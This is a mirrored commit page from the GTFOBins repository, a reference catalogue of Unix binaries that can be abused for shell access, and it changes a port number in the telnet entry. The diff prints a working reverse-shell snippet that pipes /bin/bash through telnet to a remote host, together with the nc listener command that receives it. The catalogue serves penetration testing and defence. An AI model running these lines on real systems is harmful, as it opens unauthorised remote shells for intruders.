mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-09-20 23:29:23 +02:00
Replace default port number with 12345
This commit is contained in:
@@ -9,10 +9,10 @@ functions:
|
||||
^]
|
||||
!/bin/sh
|
||||
reverse-shell:
|
||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
||||
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||
code: |
|
||||
RHOST=10.0.0.1
|
||||
RPORT=8000
|
||||
RPORT=12345
|
||||
TF=$(mktemp)
|
||||
rm $TF
|
||||
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF
|
||||
|
Reference in New Issue
Block a user